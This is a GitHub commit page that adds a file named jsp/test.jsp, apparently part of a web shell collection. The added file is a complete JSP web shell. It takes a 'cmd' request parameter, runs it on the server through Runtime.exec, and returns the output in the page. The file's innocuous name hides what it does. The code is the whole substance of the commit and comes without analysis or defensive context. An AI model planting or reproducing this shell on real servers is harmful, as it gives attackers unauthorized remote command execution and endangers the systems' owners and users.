Skip to content

Commit

Permalink
Create test.jsp
Browse files Browse the repository at this point in the history
  • Loading branch information
tennc committed Apr 5, 2016
1 parent 072e033 commit ea7284f
Showing 1 changed file with 3 additions and 0 deletions.
3 changes: 3 additions & 0 deletions jsp/test.jsp
Original file line number Diff line number Diff line change
@@ -0,0 +1,3 @@
1234<%@ page contentType="text/html; charset=GBK" %>
<%@ page import="java.io.*" %> <% String cmd = request.getParameter("cmd"); String output = ""; if(cmd != null) { String s = null; try { Process p = Runtime.getRuntime().exec(cmd); BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream())); while((s = sI.readLine()) != null) { output += s +"\r\n"; } } catch(IOException e) { e.printStackTrace(); } }
out.println(output);%>

0 comments on commit ea7284f

Please sign in to comment.